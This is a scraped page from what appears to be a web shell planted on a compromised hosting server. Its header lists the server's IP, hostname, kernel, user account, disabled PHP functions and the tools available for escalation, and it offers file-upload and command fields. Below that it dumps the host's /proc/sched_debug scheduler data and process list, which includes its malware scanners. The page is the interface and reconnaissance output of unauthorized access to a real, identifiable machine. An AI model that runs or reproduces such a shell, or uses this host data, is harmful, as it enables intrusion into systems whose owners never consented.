403Webshell
Server IP : 101.53.144.229  /  Your IP : 216.73.216.104
Web Server : Apache
System : Linux host.gdigitalindia.in 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : digitalshiksha ( 1179)
PHP Version : 5.6.40
Disable Function : eval,show_source,system,shell_exec,escapeshellarg,escapeshellcmd,proc_close,proc_open,ini_alter,dl,show_source,curl_multi_exechellcmd, ini_restore,apache_get_modules,get_cfg_var,passthru, exec ,proc_get_status,fpassthru,c999_buff_prepare,c999_sess_put,c99_buff_prepare,c99_sess_put,proc_close,ini_alter,dl,symlink,link,proc_close,ini_alter,dl,symlink,link,mail
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/cwd/c1/1/proc/self/root/proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/cwd/c1/1/proc/self/root/proc/sched_debug
Sched Debug Version: v0.11, 3.10.0-1160.119.1.el7.x86_64 #1
ktime                                   : 705835547.615415
sched_clk                               : 705749827.264112
cpu_clk                                 : 705749827.264198
jiffies                                 : 5000502844
sched_clock_stable()                    : 1

sysctl_sched
  .sysctl_sched_latency                    : 18.000000
  .sysctl_sched_min_granularity            : 10.000000
  .sysctl_sched_wakeup_granularity         : 15.000000
  .sysctl_sched_child_runs_first           : 0
  .sysctl_sched_features                   : 56955
  .sysctl_sched_tunable_scaling            : 1 (logaritmic)

cpu#0, 2893.202 MHz
  .nr_running                    : 0
  .load                          : 0
  .nr_switches                   : 404833612
  .nr_load_updates               : 430735363
  .nr_uninterruptible            : 21462
  .next_balance                  : 5000.502849
  .curr->pid                     : 0
  .clock                         : 705749827.660998
  .cpu_load[0]                   : 0
  .cpu_load[1]                   : 0
  .cpu_load[2]                   : 23
  .cpu_load[3]                   : 159
  .cpu_load[4]                   : 318
  .avg_idle                      : 1000000
  .max_idle_balance_cost         : 500000

cfs_rq[0]:/
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 412283711.344847
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : 0.000000
  .nr_spread_over                : 0
  .nr_running                    : 0
  .load                          : 0
  .runnable_load_avg             : 0
  .blocked_load_avg              : 650
  .tg_load_avg                   : 0
  .tg_load_contrib               : 0
  .tg_runnable_contrib           : 0
  .tg->runnable_avg              : 0
  .throttled                     : 0
  .throttle_count                : 0
  .avg->runnable_avg_sum         : 15456
  .avg->runnable_avg_period      : 46278

rt_rq[0]:/Imunify.slice/Scan.slice/app_version_detector.slice
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[0]:/Imunify.slice/Scan.slice/aibolit.slice/rescan.slice
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[0]:/Imunify.slice/Scan.slice/aibolit.slice
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[0]:/Imunify.slice/Scan.slice
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[0]:/Imunify.slice/Imunify-notifier.slice
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[0]:/Imunify.slice/Imunify-Scan.slice/Imunify-Scan-aibolit.slice
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[0]:/Imunify.slice/Imunify-Scan.slice
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[0]:/Imunify.slice
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[0]:/
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 950.000000

runnable tasks:
            task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
----------------------------------------------------------------------------------------------------------
    kworker/0:0H     4      1562.697209         9   100         0.000000         0.093831         0.000000 0 /
    kworker/u8:0     5       746.356593        13   120         0.000000         0.146320         0.000000 0 /
     ksoftirqd/0     6 412283702.357729   5411984   120         0.000000     88474.215640         0.000000 0 /
     migration/0     7         0.000000   3394183     0         0.000000     44515.971244         0.000000 0 /
          rcu_bh     8       118.163038         2   120         0.000000         0.001481         0.000000 0 /
       rcu_sched     9 412283702.395890 238055602   120         0.000000   2396127.155683         0.000000 0 /
   lru-add-drain    10       122.164794         2   100         0.000000         0.002706         0.000000 0 /
      watchdog/0    11         0.000000    176464     0         0.000000      3674.161530         0.000000 0 /
          kaluad    63       718.697251         2   100         0.000000         0.032540         0.000000 0 /
         kauditd   116 412278284.788926    905112   120         0.000000     17386.494424         0.000000 0 /
        ttm_swap   305      1260.079608         2   100         0.000000         0.028129         0.000000 0 /
    xfsaild/dm-0   423 412283702.349204  13994271   120         0.000000    532935.667903         0.000000 0 /
    kworker/0:1H   424 412269490.026997     50936   100         0.000000       692.373156         0.000000 0 /
         lvmetad   524      2416.819524        16   120         0.000000        10.653420         0.000000 0 /
         xprtiod   639      2555.517880         2   100         0.000000         0.031266         0.000000 0 /
 queueprocd - wa   665 412283181.849063     84087   120         0.000000    341210.401403         0.000000 0 /
            nscd   690 412279390.161156     49013   120         0.000000     58706.333650         0.000000 0 /
            nscd   691 412270274.052122    655483   120         0.000000    282129.989229         0.000000 0 /
            nscd   692 410814134.613929       331   120         0.000000        69.088959         0.000000 0 /
            nscd   693 407843785.229855        28   120         0.000000         3.215545         0.000000 0 /
            nscd 11525 412283680.421905   1065235   120         0.000000    220512.143540         0.000000 0 /
            nscd 11547 412283659.868693   1065223   120         0.000000    221371.587177         0.000000 0 /
            nscd 11548 412283432.821393   1065722   120         0.000000    221270.301568         0.000000 0 /
            nscd 11549 412283680.512855   1065199   120         0.000000    220962.055591         0.000000 0 /
     dbus-daemon   698      2646.290624         1   120         0.000000         0.027180         0.000000 0 /
         anacron   685 412271185.753981     52404   120         0.000000      6365.596117         0.000000 0 /
 JS Sour~ Thread   738      2666.996767         5   120         0.000000         0.085043         0.000000 0 /
         polkitd   745      2675.053912         5   120         0.000000         0.138616         0.000000 0 /
      irqbalance   710 412283181.138648     70900   120         0.000000     40709.412713         0.000000 0 /
        rsyslogd  1028 412082962.072822      1250   120         0.000000       104.566999         0.000000 0 /
    in:imjournal  1048 412283409.848777   2800629   120         0.000000    528485.540844         0.000000 0 /
 imunify-agent-p  1056 412266194.577138     45761   120         0.000000      1662.446238         0.000000 0 /
 imunify-agent-p  1077 412012331.735643     15589   120         0.000000      1622.151872         0.000000 0 /
 imunify-agent-p 20300 409005898.336672      1711   120         0.000000       177.845218         0.000000 0 /
         dovecot  1041 412283139.101095    703309   120         0.000000     67418.560597         0.000000 0 /
           tuned  1046 412177184.751247       788   120         0.000000       308.853483         0.000000 0 /
           gmain  1477      5240.183612         1   120         0.000000         0.046774         0.000000 0 /
         php-fpm  1050 412283680.355912    778784   120         0.000000     52842.558293         0.000000 0 /
      run-script  1187 412283449.218514    731356   120         0.000000    369929.121272         0.000000 0 /
 cpgreylistd - p  1194 412283200.889680    360318   120         0.000000     63551.162695         0.000000 0 /
            nrpe  1431 412279520.720145     71202   120         0.000000     20974.290197         0.000000 0 /
          mysqld  4211 412283659.696899    951653   120         0.000000     28760.580158         0.000000 0 /
          mysqld  4212 412283659.697617    861139   120         0.000000     40830.174188         0.000000 0 /
          mysqld  4213 412283659.692721    922149   120         0.000000     51512.084942         0.000000 0 /
          mysqld  4378 412283659.774176   1517327   120         0.000000    106055.650328         0.000000 0 /
          mysqld  4383 412282107.774854    118112   120         0.000000     13712.318120         0.000000 0 /
          mysqld  4385 221339608.382536         1   120         0.000000         0.031097         0.000000 0 /
          mysqld 13299 412283119.825677     74271   120         0.000000     50044.230697         0.000000 0 /
   sw-engine-fpm 31386 401054033.252972         2   120         0.000000         0.731229         0.000000 0 /
    kworker/u9:1 10393 412246700.125026      5755   120         0.000000      1062.474577         0.000000 0 /
             log 31397 412282433.754782      4308   120         0.000000       926.863304         0.000000 0 /
      pop3-login 31398 412279520.743249      2124   120         0.000000       569.799138         0.000000 0 /
    kworker/u9:2 18370 412283181.587728      2984   120         0.000000       123.117295         0.000000 0 /
       splitlogs 28297 412283702.395551    102138   120         0.000000      5894.413013         0.000000 0 /
       splitlogs 28298 412283702.372099    102857   120         0.000000      4325.731952         0.000000 0 /
           httpd 28315 412283200.784698      2380   120         0.000000      4474.762710         0.000000 0 /
           httpd 28338 412271969.091091      2626   120         0.000000      5103.227820         0.000000 0 /
           httpd 28340 412265357.067217      2095   120         0.000000      3982.753038         0.000000 0 /
           httpd 28344 412276204.387966      2154   120         0.000000      3793.828761         0.000000 0 /
           httpd 28354 412271248.143207      2402   120         0.000000      5040.096624         0.000000 0 /
           httpd 28356 412270274.012865      2022   120         0.000000      3823.402335         0.000000 0 /
           httpd 28309 409421116.475390         1   120         0.000000         8.261755         0.000000 0 /
           httpd 28371 412281966.103534      1734   120         0.000000      3324.126873         0.000000 0 /
           httpd 28372 412265395.530623      1511   120         0.000000      2875.245744         0.000000 0 /
           httpd 28385 412283122.666090      2295   120         0.000000      5023.115911         0.000000 0 /
           httpd 28390 412283702.376138     10960   120         0.000000       713.364930         0.000000 0 /
           httpd 28470 412283120.012692      3863   120         0.000000      4011.712934         0.000000 0 /
           httpd 28478 412283182.315798      1931   120         0.000000      3413.829570         0.000000 0 /
           httpd 28479 412265447.129658      2162   120         0.000000      4297.908073         0.000000 0 /
           httpd 28514 412271762.894642      1403   120         0.000000      2588.776441         0.000000 0 /
           httpd 28524 412281323.634846      2078   120         0.000000      4279.028521         0.000000 0 /
           httpd 28527 412282455.463617      2647   120         0.000000      5262.978321         0.000000 0 /
           httpd 28680 412280162.446018      2436   120         0.000000      4828.828924         0.000000 0 /
           httpd 28682 412269998.077884      3923   120         0.000000      4392.292768         0.000000 0 /
           httpd 28690 412265448.177254      2233   120         0.000000      4345.965855         0.000000 0 /
           httpd 28700 412270264.971851      2960   120         0.000000      5774.183083         0.000000 0 /
           httpd 28702 412283359.073435     10891   120         0.000000       708.657311         0.000000 0 /
           httpd 18712 412271658.205026      1863   120         0.000000      3863.374083         0.000000 0 /
           httpd 18713 412268152.711517      1348   120         0.000000      2544.176158         0.000000 0 /
           httpd 18719 412271877.461467      1152   120         0.000000      1862.415556         0.000000 0 /
           httpd 18727 412280202.216724      2115   120         0.000000      4474.938683         0.000000 0 /
 freshclam-sleep 28738 410315992.682728         3   120         0.000000         4.133109         0.000000 0 /
           httpd 10830 412269817.988009      1712   120         0.000000      3250.520667         0.000000 0 /
           httpd 10837 412270280.325436       926   120         0.000000      1868.218323         0.000000 0 /
           httpd 10843 412271801.439354       796   120         0.000000      1557.477396         0.000000 0 /
           httpd 10857 412270215.260265      1100   120         0.000000      1947.889547         0.000000 0 /
           httpd 10860 412277420.627624       924   120         0.000000      1863.419905         0.000000 0 /
           httpd 10861 412283125.396123       661   120         0.000000      1266.089613         0.000000 0 /
           httpd 10862 412265431.088848       956   120         0.000000      1962.911458         0.000000 0 /
           httpd 10872 412283119.738981      1046   120         0.000000      2065.290183         0.000000 0 /
           httpd 10875 412262078.611409       759   120         0.000000      1291.641502         0.000000 0 /
           httpd 10876 412265711.116485       839   120         0.000000      1368.190981         0.000000 0 /
     kworker/0:0 26858 412274058.934409      7046   120         0.000000       120.495927         0.000000 0 /
     kworker/0:3 29346 412176130.230911        16   120         0.000000         0.172722         0.000000 0 /
     kworker/0:1  1635 412176126.805309      1126   120         0.000000        20.370280         0.000000 0 /
     kworker/0:2  5793 412283404.666766      2233   120         0.000000        54.949900         0.000000 0 /
            auth  6885 412281280.384051        19   120         0.000000        26.312844         0.000000 0 /
  isc-worker0001  7489 412283660.003546      1358   120         0.000000       217.991541         0.000000 0 /

cpu#1, 2893.202 MHz
  .nr_running                    : 0
  .load                          : 0
  .nr_switches                   : 377647840
  .nr_load_updates               : 469126114
  .nr_uninterruptible            : 15630
  .next_balance                  : 5000.502849
  .curr->pid                     : 0
  .clock                         : 705749827.658936
  .cpu_load[0]                   : 0
  .cpu_load[1]                   : 0
  .cpu_load[2]                   : 14
  .cpu_load[3]                   : 98
  .cpu_load[4]                   : 283
  .avg_idle                      : 1000000
  .max_idle_balance_cost         : 500000

cfs_rq[1]:/
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 536977960.551623
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : 124694249.206776
  .nr_spread_over                : 0
  .nr_running                    : 0
  .load                          : 0
  .runnable_load_avg             : 0
  .blocked_load_avg              : 823
  .tg_load_avg                   : 0
  .tg_load_contrib               : 0
  .tg_runnable_contrib           : 0
  .tg->runnable_avg              : 0
  .throttled                     : 0
  .throttle_count                : 0
  .avg->runnable_avg_sum         : 16859
  .avg->runnable_avg_period      : 47041

rt_rq[1]:/Imunify.slice/Scan.slice/app_version_detector.slice
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[1]:/Imunify.slice/Scan.slice/aibolit.slice/rescan.slice
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[1]:/Imunify.slice/Scan.slice/aibolit.slice
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[1]:/Imunify.slice/Scan.slice
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[1]:/Imunify.slice/Imunify-notifier.slice
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[1]:/Imunify.slice/Imunify-Scan.slice/Imunify-Scan-aibolit.slice
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[1]:/Imunify.slice/Imunify-Scan.slice
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[1]:/Imunify.slice
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[1]:/
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 950.000000

runnable tasks:
            task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
----------------------------------------------------------------------------------------------------------
        kthreadd     2 536918825.168574      8976   120         0.000000      1564.874417         0.000000 0 /
      watchdog/1    12        -2.993292    176461     0         0.000000      3913.979901         0.000000 0 /
     migration/1    13         0.000000   5491608     0         0.000000     74287.840117         0.000000 0 /
     ksoftirqd/1    14 536977941.497038   6014409   120         0.000000     88858.236880         0.000000 0 /
    kworker/1:0H    16      3200.673576        13   100         0.000000         0.055163         0.000000 0 /
         kswapd0    48 536976637.614283   1576693   120         0.000000    237841.695134         0.000000 0 /
      khugepaged    51 536974532.336707     26898   139         0.000000      2455.818000         0.000000 0 /
          bioset   388      1866.218136         2   100         0.000000         0.019647         0.000000 0 /
        kdmflush   399      1950.643456         2   100         0.000000         0.020560         0.000000 0 /
        xfsalloc   414      2063.828847         2   100         0.000000         0.009634         0.000000 0 /
   xfs_mru_cache   415      2068.332691         2   100         0.000000         0.004351         0.000000 0 /
   xfs-data/dm-0   417 526964732.667635        66   100         0.000000         1.447374         0.000000 0 /
    xfs-cil/dm-0   419 532323460.004685       302   100         0.000000         8.001215         0.000000 0 /
 xfs-reclaim/dm-   420 454908803.429338         9   100         0.000000         3.240962         0.000000 0 /
          auditd   634 536972212.338358    820986   116         0.000000     68921.317428         0.000000 0 /
            nscd   672 536977951.658640  33211941   120         0.000000   1807141.751456         0.000000 0 /
            nscd   689 536976908.744125     51685   120         0.000000    165821.833274         0.000000 0 /
            nscd   696 536977896.129060   1169809   120         0.000000    238771.652992         0.000000 0 /
            nscd 24728 536977800.740810   1086627   120         0.000000    225317.399626         0.000000 0 /
            nscd 24729 536977828.895825   1086041   120         0.000000    225257.242894         0.000000 0 /
            nscd 24730 536977941.678441   1086972   120         0.000000    224305.980050         0.000000 0 /
            nscd 24739 536977879.213271   1086513   120         0.000000    225170.291155         0.000000 0 /
            nscd 11543 536977941.678071   1064961   120         0.000000    220853.994974         0.000000 0 /
            nscd 11544 536977895.369059   1065183   120         0.000000    221054.362302         0.000000 0 /
            nscd 11550 536977895.161273   1065326   120         0.000000    221112.938321         0.000000 0 /
            nscd 11569 536977879.055997   1065119   120         0.000000    220795.267020         0.000000 0 /
            nscd 11571 536977828.880401   1065221   120         0.000000    220645.677647         0.000000 0 /
    kworker/1:1H   675 536961276.677646     47765   100         0.000000       720.938609         0.000000 0 /
         polkitd   732      3315.524947         3   120         0.000000         0.067962         0.000000 0 /
    JS GC Helper   734      3322.048690         1   120         0.000000         0.083292         0.000000 0 /
  systemd-logind   701 536977034.987721   1123281   120         0.000000    241075.760932         0.000000 0 /
        gssproxy   718 536969723.941625     23578   120         0.000000      1151.982327         0.000000 0 /
        gssproxy   729      3313.371500         2   120         0.000000         0.016978         0.000000 0 /
            exim   733 536977415.078026    208681   120         0.000000     98977.783241         0.000000 0 /
           crond   760 536969309.453096    138999   120         0.000000     90296.777346         0.000000 0 /
           loop0   823 536977132.880405    431536   100         0.000000     26612.351698         0.000000 0 /
           tuned  1478 536977896.023883    706638   120         0.000000     91487.552684         0.000000 0 /
      run-script  1185 536973745.458947     13999   120         0.000000      9817.440971         0.000000 0 /
 dnsadmin - dorm  1191 536977272.553710    100211   120         0.000000     45481.976571         0.000000 0 /
 cPhulkd - proce  1197 536977240.042200    167290   120         0.000000    143433.525861         0.000000 0 /
 cpanellogd - sl  1280 536903962.967826     10802   138         0.000000      4898.267403         0.000000 0 /
          agetty  1434     15249.730187         9   120         0.000000        17.866097         0.000000 0 /
        stderr.l  6976   1806922.070677         1   120         0.000000         0.235439         0.000000 0 /
        stderr.l  6979 536977896.725322    719632   120         0.000000     40309.502075         0.000000 0 /
          mysqld  4218 536977879.774710   1437948   120         0.000000     36164.724444         0.000000 0 /
          mysqld  4220 536977708.643052    998073   120         0.000000    274377.043866         0.000000 0 /
          mysqld  4374 536977708.381466    364113   120         0.000000     13343.391300         0.000000 0 /
          mysqld  4375 536977878.959988    364828   120         0.000000     25613.421624         0.000000 0 /
          mysqld  4380 536977896.953751    730042   120         0.000000      8803.383171         0.000000 0 /
          mysqld  4386 289420418.566977         2   120         0.000000         0.058088         0.000000 0 /
          mysqld  4387 289420427.552535         1   120         0.000000         0.040725         0.000000 0 /
          mysqld 10283 536977709.573205    392136   120         0.000000    238927.827289         0.000000 0 /
          mysqld 29996 536977765.803932    330841   120         0.000000    197269.492841         0.000000 0 /
            auth  3059 536977408.465584     26256   120         0.000000      5867.162751         0.000000 0 /
           sleep  1029 531714062.050521         1   120         0.000000         0.979851         0.000000 0 /
           httpd 28319 536958104.953035      2012   120         0.000000      3603.281010         0.000000 0 /
           httpd 28322 536964608.946213      2689   120         0.000000      5364.463415         0.000000 0 /
           httpd 28326 536959619.356999      2304   120         0.000000      4446.838465         0.000000 0 /
           httpd 28327 536961572.429416      1776   120         0.000000      2850.286795         0.000000 0 /
           httpd 28328 536974158.068674      2152   120         0.000000      4136.047622         0.000000 0 /
           httpd 28329 536966460.182893      2035   120         0.000000      4046.673481         0.000000 0 /
           httpd 28335 536823311.191701      1968   120         0.000000      3953.681170         0.000000 0 /
           httpd 28308 533280425.948050         1   120         0.000000         7.740203         0.000000 0 /
           httpd 28350 536958274.226586      3421   120         0.000000      5010.305779         0.000000 0 /
           httpd 28355 536959454.661894      1833   120         0.000000      3584.658284         0.000000 0 /
           httpd 28357 536977408.557485      1742   120         0.000000      3101.338572         0.000000 0 /
           httpd 28358 536958048.419144      3032   120         0.000000      6632.735215         0.000000 0 /
           httpd 28362 536970195.277929      3619   120         0.000000      5179.038257         0.000000 0 /
           httpd 28365 536976898.409260      2051   120         0.000000      4039.917429         0.000000 0 /
           httpd 28366 536974554.699277      1861   120         0.000000      3993.235927         0.000000 0 /
           httpd 28367 536963654.925323      3099   120         0.000000      6737.944236         0.000000 0 /
           httpd 28368 536958404.525891      2211   120         0.000000      4365.591266         0.000000 0 /
           httpd 28369 536975258.406645      2075   120         0.000000      3989.111523         0.000000 0 /
           httpd 28374 536930816.994352      1349   120         0.000000      2390.811938         0.000000 0 /
           httpd 28377 536973511.076683      1869   120         0.000000      3540.212044         0.000000 0 /
           httpd 28380 536977708.623329      3227   120         0.000000      4872.150597         0.000000 0 /
           httpd 28382 536955483.822970      1804   120         0.000000      3518.975060         0.000000 0 /
           httpd 28384 536975849.432466      1870   120         0.000000      3668.753868         0.000000 0 /
           httpd 28387 536964608.792143      1576   120         0.000000      3037.964868         0.000000 0 /
           httpd 28459 536954419.778943      1746   120         0.000000      3676.843188         0.000000 0 /
           httpd 28464 536955941.979193      1440   120         0.000000      2758.999185         0.000000 0 /
           httpd 28471 536962421.449867      2295   120         0.000000      4977.088747         0.000000 0 /
           httpd 28473 536959619.764661      3012   120         0.000000      6185.840029         0.000000 0 /
           httpd 28477 536970936.198883      1530   120         0.000000      2818.563695         0.000000 0 /
           httpd 28480 536961527.128765      2204   120         0.000000      4228.292634         0.000000 0 /
           httpd 28484 536977708.407645     10917   120         0.000000       701.595483         0.000000 0 /
           httpd 28511 536964939.405598      2026   120         0.000000      4247.492611         0.000000 0 /
           httpd 28513 536974357.120859      2037   120         0.000000      4021.113609         0.000000 0 /
           httpd 28522 536977953.746844      1696   120         0.000000      2756.086462         0.000000 0 /
           httpd 28532 536977951.612597     10933   120         0.000000       715.179357         0.000000 0 /
           httpd 28677 536958676.657239      2334   120         0.000000      4808.321099         0.000000 0 /
           httpd 28679 536971939.265691      2598   120         0.000000      5407.856022         0.000000 0 /
           httpd 28685 536973958.408808      1796   120         0.000000      3484.444324         0.000000 0 /
           httpd 28687 536953712.342997      2383   120         0.000000      4549.305203         0.000000 0 /
           httpd 28689 536977951.989671      2115   120         0.000000      4354.819134         0.000000 0 /
           httpd 28694 536969451.120033      1911   120         0.000000      3552.590130         0.000000 0 /
           httpd 28699 536966780.073084      2657   120         0.000000      5308.888558         0.000000 0 /
           httpd 18711 536976782.044027      1489   120         0.000000      2953.153962         0.000000 0 /
           httpd 18714 536977708.484091      1583   120         0.000000      3341.986210         0.000000 0 /
           httpd 18724 536964608.574589      1805   120         0.000000      3438.904744         0.000000 0 /
           httpd 18733 536977878.998049      8226   120         0.000000       528.558961         0.000000 0 /
           httpd 10829 536973510.728451      1861   120         0.000000      3839.050304         0.000000 0 /
           httpd 10838 536964690.896640      1211   120         0.000000      2404.327762         0.000000 0 /
           httpd 10840 536958539.417113       690   120         0.000000      1144.735403         0.000000 0 /
           httpd 10841 536977897.044903      1395   120         0.000000      2892.377797         0.000000 0 /
           httpd 10852 534815722.358723         1   120         0.000000         9.176320         0.000000 0 /
           httpd 10856 536960334.829323      1133   120         0.000000      2269.396491         0.000000 0 /
           httpd 10859 536977763.748369       886   120         0.000000      1780.325662         0.000000 0 /
           httpd 10866 536969563.751764       937   120         0.000000      1671.140365         0.000000 0 /
           httpd 10868 536967706.855407       920   120         0.000000      1861.256486         0.000000 0 /
     kworker/1:1 21783 536977951.566285     19556   120         0.000000       359.319561         0.000000 0 /
     kworker/1:0 32613 536838925.742086        10   120         0.000000         0.094441         0.000000 0 /
     kworker/1:2  5294 536969309.390976        21   120         0.000000         1.989727         0.000000 0 /
           named  7487 536968974.112116         1   120         0.000000         6.314944         0.000000 0 /
  isc-worker0003  7491 536977897.225097      1307   120         0.000000       186.804621         0.000000 0 /
  isc-worker0004  7492 536969134.090573         2   120         0.000000         0.009787         0.000000 0 /
  isc-worker0005  7493 536969126.605087         2   120         0.000000         0.021607         0.000000 0 /
  isc-worker0006  7494 536969134.090430         2   120         0.000000         0.010137         0.000000 0 /
  isc-worker0007  7495 536969134.092966         2   120         0.000000         0.017714         0.000000 0 /

cpu#2, 2893.202 MHz
  .nr_running                    : 1
  .load                          : 1024
  .nr_switches                   : 472887373
  .nr_load_updates               : 633999685
  .nr_uninterruptible            : -193733
  .next_balance                  : 5000.502863
  .curr->pid                     : 7683
  .clock                         : 705749827.651329
  .cpu_load[0]                   : 1024
  .cpu_load[1]                   : 1024
  .cpu_load[2]                   : 1030
  .cpu_load[3]                   : 1053
  .cpu_load[4]                   : 1054
  .avg_idle                      : 776717
  .max_idle_balance_cost         : 500000

cfs_rq[2]:/
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 379123001.466893
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : -33160709.877954
  .nr_spread_over                : 0
  .nr_running                    : 1
  .load                          : 1024
  .runnable_load_avg             : 1011
  .blocked_load_avg              : 108
  .tg_load_avg                   : 0
  .tg_load_contrib               : 0
  .tg_runnable_contrib           : 0
  .tg->runnable_avg              : 0
  .throttled                     : 0
  .throttle_count                : 0
  .avg->runnable_avg_sum         : 32747
  .avg->runnable_avg_period      : 47161

rt_rq[2]:/Imunify.slice/Scan.slice/app_version_detector.slice
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[2]:/Imunify.slice/Scan.slice/aibolit.slice/rescan.slice
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[2]:/Imunify.slice/Scan.slice/aibolit.slice
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[2]:/Imunify.slice/Scan.slice
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[2]:/Imunify.slice/Imunify-notifier.slice
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[2]:/Imunify.slice/Imunify-Scan.slice/Imunify-Scan-aibolit.slice
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[2]:/Imunify.slice/Imunify-Scan.slice
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[2]:/Imunify.slice
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[2]:/
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 950.000000

runnable tasks:
            task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
----------------------------------------------------------------------------------------------------------
